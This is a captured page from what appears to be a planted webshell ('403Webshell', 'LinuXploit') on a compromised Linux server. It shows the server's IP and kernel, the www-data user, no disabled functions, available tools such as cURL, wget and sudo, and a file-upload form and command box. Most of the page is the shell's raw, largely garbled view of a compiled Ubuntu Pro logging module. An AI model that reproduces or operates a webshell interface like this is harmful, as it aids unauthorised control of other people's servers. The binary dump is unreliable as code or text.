403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/uaclient/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/uaclient/__pycache__/log.cpython-314.pyc
+
���g���(�^RIt^RIt^RIt^RIt^RIHt^RIHtHtH	t	H
t
^RIHtH
t
HtHt^RIHt!RR]P$4t!RR	]P$4t!R
R]P*4tRR
ltRRltRRltRtRRltRtR#)�N)�OrderedDict)�Any�Dict�List�Union)�defaults�secret_manager�system�util)�UAConfigc�6a�]tRt^toRtV3RlRltRtVtR#)�RegexRedactionFilter�,A logging filter to redact confidential infoc�4<�V^8�dQhRS[P/#���record��logging�	LogRecord)�format�
__classdict__s"��./usr/lib/python3/dist-packages/uaclient/log.py�__annotate__�!RegexRedactionFilter.__annotate__������W�.�.��c�b�\P!\VP44VnR#�T)r�redact_sensitive_logs�str�msg��selfrs&&r�filter�RegexRedactionFilter.filters���/�/��F�J�J��@��
�r�N��__name__�
__module__�__qualname__�__firstlineno__�__doc__r%�__static_attributes__�__classdictcell__�rs@rrr�����6��rrc�6a�]tRt^toRtV3RlRltRtVtR#)�KnownSecretRedactionFilterrc�4<�V^8�dQhRS[P/#rr)rrs"�rr�'KnownSecretRedactionFilter.__annotate__rrc�t�\PP\VP44VnR#r)r	�secrets�redact_secretsr!r"r#s&&rr%�!KnownSecretRedactionFilter.filters%��#�+�+�:�:�3�v�z�z�?�K��
�rr'Nr(r0s@rr3r3r1rr3c�Ba�]tRt^toRtRtRtRtV3RlRltRt	Vt
R#)	�JsonArrayFormatterzQJson Array Formatter for our logging mechanism
Custom made for Pro logging needs
z%Y-%m-%dT%H:%M:%Sz%s.%03dc�:<�V^8�dQhRS[PRS[/#)rr�return)rrr!)rrs"�rr�JsonArrayFormatter.__annotate__,s!���;�;�W�.�.�;�3�;rc��VP4VnVPV4Vn/pVP'dVPVP4VR&VP
R4'g"VP'dVPVR&VP'dVPVP4VR&VPP
R4pV'd(\V\4'dVPV4\4pVPF"pVPP
V4pWdV&K$	W$R&\ P"!\%VP'444#)�exc_info�
stack_info�extra)�
getMessage�message�
formatTime�asctimer@�formatException�get�exc_textrA�formatStack�__dict__�
isinstance�dict�updater�required_fields�json�dumps�list�values)r$r�extra_message_dictrB�local_log_record�field�values&&     rr�JsonArrayFormatter.format,s4���*�*�,�������0������?�?�?�-1�-A�-A����.��z�*�"�%�%�j�1�1�f�o�o�o�-3�_�_��z�*�����/3�/?�/?��!�!�0��|�,����#�#�G�,���Z��t�,�,��%�%�e�,�'�=���)�)�E��O�O�'�'��.�E�&+�U�#�*�%7��!��z�z�$�/�6�6�8�9�:�:rr'N)rF�	levelname�name�funcName�linenorD)r)r*r+r,r-�default_time_format�default_msec_formatrOrr.r/r0s@rr;r;s)�����.��#���O�;�;rr;c�$�V^8�dQhR\/#�rr=�r!)rs"rrrJs��#�#��#rc�t�\P!4'd\4P#\	4#)zP
Gets the correct log_file path,
adjusting for whether the user is root or not.
)r�we_are_currently_rootr�log_file�get_user_log_filer'rr�get_user_or_root_log_file_pathrfJs*��
�!�!�#�#��z�"�"�"� �"�"rc�$�V^8�dQhR\/#r`ra)rs"rrrUs��G�G�3�Grc�h�\PP\P!4R4#)z/Gets the correct user log_file storage location�ubuntu-pro.log)�os�path�joinr
�get_user_cache_dirr'rrrereUs!��
�7�7�<�<��1�1�3�5E�F�Frc�:�V^8�dQhR\\,/#r`)rr!)rs"rrrZs�����S�	�rc��\P!R4p.pVFlp\PPRVR\P
R4p\PP
V4'gK[VPV4Kn	V#)ztGets all the log files for the users in the system

Returns a list of all user log files in their home directories.
z/homez.cacheri)rj�listdirrkrlr�USER_CACHE_SUBDIR�isfile�append)�user_directories�	log_files�user_directory�	user_paths    r�get_all_user_log_filesrxZst��
�z�z�'�*���I�*���G�G�L�L�����&�&��
�	��7�7�>�>�)�$�$����Y�'�+��rc��\P!R4pVP\P4\P!4pVP\
44VP\P4VP\44VP\44VPV4R#)�	ubuntuproN)r�	getLogger�setLevel�INFO�
StreamHandler�setFormatterr;�	addFilterrr3�
addHandler)�logger�console_handlers  r�setup_journald_loggingr�ns���
�
�
�{�
+�F�
�O�O�G�L�L�!��+�+�-�O�� � �!3�!5�6����W�\�\�*����2�4�5����8�:�;�
���o�&rc�R�V^8�dQhR\\\3,R\/#)r�	log_levelrd)rr!�int)rs"rrrys"��$�$��s�C�x��$�C�$rc��\V\4'dVP4p\P!4'g\4p\P!R4pVPV4.Vn	\P!V4pVP4'g0VPPRRR7VPRR7\P !V4pVP#\%44VPV4VP'\)44VP'\+44VP-V4R#)zgSetup logging to log_file

If run as non-root then log_file is replaced with a user-specific log file.
rzT)�parents�exist_oki�)�modeN)rLr!�upperrrcrerr{r|�handlers�pathlib�Path�exists�parent�mkdir�touch�FileHandlerrr;r�rr3r�)r�rdr��
log_file_path�file_handlers&&   r�setup_cli_loggingr�ys���)�S�!�!��O�O�%�	��%�%�'�'�$�&��
�
�
�{�
+�F�
�O�O�I���F�O��L�L��*�M����!�!����"�"�4�$�"�?������'��&�&�x�0�L����0�2�3����)�$����/�1�2����5�7�8�
���l�#rc�
�RV/#)z�
A helper for passing extra fields to log statements.
Usage:
LOG.info("message string", extra=log.extra(field=something_relevant))
rBr')�kwargss,rrBrB�s��
�V��r)rPrrjr��collectionsr�typingrrrr�uaclientrr	r
r�uaclient.configr�Filterrr3�	Formatterr;rfrerxr�r�rBr'rr�<module>r�sv����	��#�)�)�;�;�$��7�>�>�������+;��*�*�+;�\#�G�
�('�$�Br

Youez - 2016 - github.com/yon3zu
LinuXploit